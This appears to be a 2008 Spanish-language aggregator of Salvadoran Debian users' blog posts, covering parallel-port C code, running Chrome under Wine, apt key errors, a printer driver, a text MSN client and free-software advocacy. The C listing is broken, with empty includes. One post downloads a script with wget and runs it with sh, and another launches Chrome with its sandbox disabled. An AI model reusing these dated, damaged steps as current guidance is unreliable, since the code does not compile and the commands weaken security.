Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Programando Dispositivos!!

Ayudando a unos estudiantes sobre un proyecto de domótica me encontre con el reto de ayudar a programar el pueto paralelo en Linux, lógicamente en C.
Al parecer ya tenemos un programita sencillo que apaga y enciende un led de uno de los 8 pines de datos pero el problema es que necesitan un mecanismo que permita dejar pasar energia electrica y asi controlar los dispositivos.
En debian solo instalamos gcc y todas sus dependencias y he aca el programa que cambia de estado el pin de datos número 4:




#include
#include
#include
#include
#includeio.h>
>
// #define Direcparal 888
// 888 deciman = 0x378 Hexagesimal

#define Direcparal 0x378

void gcd0(void) {
//Le damos permiso para acceder al puesto lpt
ioperm(Direcparal,1,1);

//Cambiamos el estado del pin 4 de datos con 0001 en binario = 0x4 en Hexa
printf("Led encendido /n");
outb(0x4,Direcparal);
//Esperamos un rato
sleep(10);
//Cambiamos el estado del pin 4 de datos con 0000 en binario = 0x en Hexa
printf("Led apagado /n");
outb(0x0,Direcparal);
//Cerramos el acceso al puesrto
ioperm(Direcparal,1,0);

}

int main (void) {
gcd0();
return 1;
}




Teniendo en cuenta esto, ya que los puertos paralelos ya no son tan comunes hoy en dia me dedique a a buscar como programar los usb y me vine a econtrar con un árticulo muy bueno y sencillo: Programar un dispositivo usb que solo tiene tres leds para encenderse, el unico problema es que el dispositivo cuesta $82 USD. Esta dificil comprarlo por el momento.

Estaremos esperando programar algo.


Referencias:

Puerto paralelo
http://www.globu.net/pp/PP/pp.htm
http://www.faqs.org/docs/Linux-mini/IO-Port-Programming.html
http://bigasterisk.com/projects/parallel

Puerto USB
http://www.linuxjournal.com/article/7353
http://www.lrr.in.tum.de/Par/arch/usb/usbdoc/node2.html

24 de September de 2008

Debian bug #500000 - medio millón \o/

Pues resulta que un día dando click en los cambios recientes de wiki.debian.org encontre un concurso para adivinar la fecha en que el BTS llegaría al medio millón de bugs http://wiki.debian.org/500000thBugContest

Cuando eso sucedio, me inscribí y la fecha que elegí fue la fecha de mi cumpleaños, pense pasar como cualqueir otro que pone una fecha cualquiera, pero bueno; resulta que ahora se reporto dicho bug  y /me fue el que quedo cerca de la fecha; en mi TZ solo por dos horas pero parece que igual fui el que llego mas cerca.

23 de September de 2008

0×19

Que bien que fuera en base 10 y no 16 :)

$rmayorga++

14 de September de 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Free Image Hosting at www.ImageShack.us


Pasando por alto los misterios y los parecidos curiosos del logo (nótese que la comparación va más allá haciéndola con una webcam y el zorro (o panda) de firefox xD :D ), posteo la forma para ejecutar el navegador estrella de google en los sistemas GNU/Linux ;) .

Hace unos días lanzo en primicia un beta de su navegador propio llamado Google Chrome, por desgracia solo disponible por el momento para windows.

Bastante simple pero funcional como es la costumbre de Google, asi que para gente como yo que no necesitamos mucho para ser feliz es un buen producto xD

Ahora a lo bueno, ¿Como ejecutarlo en Linux? .

Hay 2 formas hasta el momento, desde la web oficial se pueden descargar las fuentes y compilarlo uno mismo, sin embargo eso no significa que va a funcionar a la perfección, ya que esa opción esta orientada más a los desarrolladores de la compañía que a otra cosa.

Entonces por el momento lo mejor y la opción más conocida… wine!

Lo primero es descargar la versión más nueva y necesaria de wine para poder correrlo sin problemas (1.1.4)..

Esta versión por no ser la estable todavía no esta en los repositorios, asi que el método para la instalación va a ser diferente al típico apt-get install (bueno, no inmediatamente xD).

Entonces tenemos que agregar unos nuevos repositorios para poder usar esta versión, la forma de hacerlo para diferentes distribuciones esta aquí:

http://www.winehq.org/site/download

Una vez seguidos los pasos ya podemos instalar wine normalmente:

apt-get install wine

o

aptitude install wine

Ahora antes de comenzar con la instalación del GC hay que hacer estas cosas antes:

cd $HOME
rm winetricks
wget http://www.kegel.com/wine/winetricks
mv .wine .wine.old
sh winetricks msxml3 corefonts firefox flash winxp

Explicando, se mueve al directorio home del usuario, en caso que haya antes un script llamado winetricks lo borra.

Después descarga el nuevo script, y renombra el fichero .wine a .wine.old, por ultimo se ejecuta el script (winetricks) que se encarga de descargar e instalar esos programas en wine que son necesarios para el funcionamiento del GC.

Una vez hecho esto ya podemos instalar el navegador :D

Descarga

Una vez descargado solo se ejecuta por medio del wine, bien con click derecho y “ejecutar con wine” o por la terminal con un:

wine nombre.exe

Ahora esperar que se descargue e instale.. :D

Pero.. todavía no esta listo para usarse del todo, para eso hay que pasarle 2 parámetros al ejecutable.

wine chrome.exe –no-sandbox –new-http

Y ahora si, ya podemos usar el GC en Linux :D

Free Image Hosting at www.ImageShack.us

Pero mi opinión es que esto no es algo muy practico, usarlo con el wine le mata todas las virtudes que posee, deja de ser ligero y sencillo y se vuelve bastante pesado, aparte de algunos problemas que note como que los vídeos de youtube aparecen cabeza abajo (wtf?! o_O).

Asi que es mejor esperar un rato a que este la versión oficial para los linuxeros :D , entonces este método queda como una forma friki/geek que tienen más utilidad para ser presumida de que podes usar GC en Linux que para usarlo realmente.

Referencias

01 de September de 2008

Salvador Osorio

Salvador Osorio
Casos y Cosas feed

problemas con claves publicas en mi debian NO_PUBKEY 3FF0DB166A7476EA 07DC563D1F41B907

Cuando queremos actualizar nuestros repositorios con el bien conocidoapt-get updateY no tenemos las claves públicas de los repositorios beryl o debian-multimedia, por ejemplo, nos aparecerá el siguiente mensaje:#Leyendo lista de paquetes... Hecho#W: GPG error: http://debian.beryl-project.org etch Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible:

17 de August de 2008

Felices 15

Un poco tarde, pero siempre recordando el inicio de uno de los proyectos más importantes del software libre en el mundo. Lastimosamente este año no se pudo organizar un _debian day_ en El Salvador tal como se hizo hace 5 años (celebrando la década) pero en fin, quedamos pendientes.

Y con la intención de conocer la apariencia del website de Debian de hace algunos años, la busqué en archive.org teniendo como resultado más antiguo una página del año de 1997 que podemos ver aqui. Evidentemente muy diferente a lo que conocemos ahora.

Larga vida para Debian!

16 de August de 2008

Melvyn Gomez

Melvyn Gomez
elsimio feed

Debian Day 2008

Feliz Debian Day a todos los usuarios, especialmente al Grupo de Usuarios Debian de El Salvador, solo por eso #beber now

14 de August de 2008

Salvador Osorio

Salvador Osorio
Casos y Cosas feed

configurar hp 1000

este es un articulo muy bueno para hacer imprimer un hp LasereJet 1000, he cosiderado a bien reproducirlo aca el articulo original lo puede encontrar en http://debianetch.blogspot.com/2007/04/my-calf.htmlbasicamente lo que debemos hacer es instalar el firware de la impresora de la siguiente forma:wget http://foo2zjs.rkkda.com/foo2zjs.tar.gztar zxf foo2zjs.tar.gzcd foo2zjsmakeinstalando el firware

07 de August de 2008

Melvyn Gomez

Melvyn Gomez
elsimio feed

Camisetas Debian SV

ya están listas las camisetas de Debian SV, mas info en OpenRanger Store

04 de August de 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Lyoko


Demasiado calor esta haciendo hoy.. ¿Que no se suponía que solo se ponía asi en la Semana Santa? :| , donde esta la lluvia cuando se necesita?..

Ya ontopic hoy estaba buscando un modulo para perl con el aptitude con la intención de facilitarme la tarea de programar un bot para el protocolo MSN :) , (desde hace casi un año que tengo la idea pero siempre se queda en palabras, asi que hoy me dije a mi mismo que si lo iba a terminar).

Bueno el resultado de la búsqueda no me dio la librería que quería, pero me arrojo otro resultado bastante interesante. Una aplicación que se llama tmsnc y que en la descripción decía que era un cliente del MSN a modo texto :o .

Me dispuse a instalarlo y si era lo que decía, de hecho me gusto bastante por la sencillez con la que trabaja y la portabilidad que puede llegar a tener :)

Como se deduce el programa esta en los repositorios asi que se puede instalar con el atp-get install:

$ apt-get install tmsnc

al ejecutarlo:

$ tmsnc

Se puede ver que no hay ninguna clase de pierde xD, como repito la interfaz es bien sencilla e intuitiva:

Ya logueados nos aparece toda la información de la cuenta, nickname, contactos, status, etc.

En la parte superior estan las opciones básicas de todo cliente:

Agregar contactos, cambiar nick, cambiar el status, etc.

A mi me gusto bastante por lo simple que es.. aunque aparentemente el proyecto ya fue descontinuado por otro proyecto este sigue siendo totalmente funcional y bastante util más si les gustan las cosas limpias y sencillas como a mi :D

03 de August de 2008

David Mejia

La realidad de LINUX

La realidad de linux en realidad la representa esta imagen. Lo único que me siento orgulloso es que no cualquiera lo usa :mrgreen: (vía elgeek.info)

19 de July de 2008

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Porque actualizar a GPL version 3

En este articulo de Richard Stallman explica la necesidad de actualizar las licencias a GPLv3, el articulo esta en ingles:

http://www.gnu.org/licenses/rms-why-gplv3.html
Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Libros sobre Linux

En la lista de correo de Linux.edu.sv publicaron este enlace donde hay muchos libros sobre Linux:

http://www.freebooksource.com/Linux.htm

28 de June de 2008

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Nueva version de BlogDRAKE

Hoy por la tarde, junto a los otros BOFHs y usuarios. actualizamos BloGDRAKE luego de varios dias de planeacion y pruebas. Todo salio bien. Por aqui un recuento de las nuevas caracteristicas del sitio:


http://blogdrake.net/blog/bienvenidos-al-nuevo-blogdrake

27 de June de 2008

El reto del ’software libre’

Hace unas semanas ofrecí -en el lugar donde trabajo- implementar GNU/Linux en un par de salas de cómputo, por supuesto bajo la idea primordial (bajo mi perspectiva) de ampliar el uso del OS bajo el paradigma social del software libre, aunque administrativamente la propuesta haya tomado perspectivas diferentes, pero en fin.

Este día y en un primer encuentro con el objeto de conocer el equipo y las necesidades de los usuarios, visité el lugar y para mi sorpresa me encuentro a la gente con una actitud hostíl y de rechazo, porque su sistema operativo favorito iba a ser removido, gente presumiendo de tener instalado la suite ofimática propietaria mas conocida, hablando en mal de OpenOffice y con una clara oposición a la llegada del tal *Linux* que les han mencionado y aun así a pesar de sentirse tan felices con sus programas, se quejan a cada momento de los virus y las *dolencias* causadas por las pestes que los atacan, quizá lo consideran ya como algo normal.

Realmente es triste encontrarse en esta situación. Escuchar a personas hablando mal del software libre, y calificándolo como programas *gratuitos* de *baja calidad* que tratan de imitar a sus productos propietarios, estas personas acusan y se esconden en su ignorancia edificada por _LOS AÑOS DE EXPERIENCIA_  utilizando software propietario, el cual siempre han usado por haberlo conseguido *gratis* gracias a la mano amiga de la piratería.

Sin duda, la implementación del software libre en nuestros paises latinoamericanos, mas que ser un reto técnico se convierte en una lucha ideológica por la libertad que muy pocos conocen y valoran.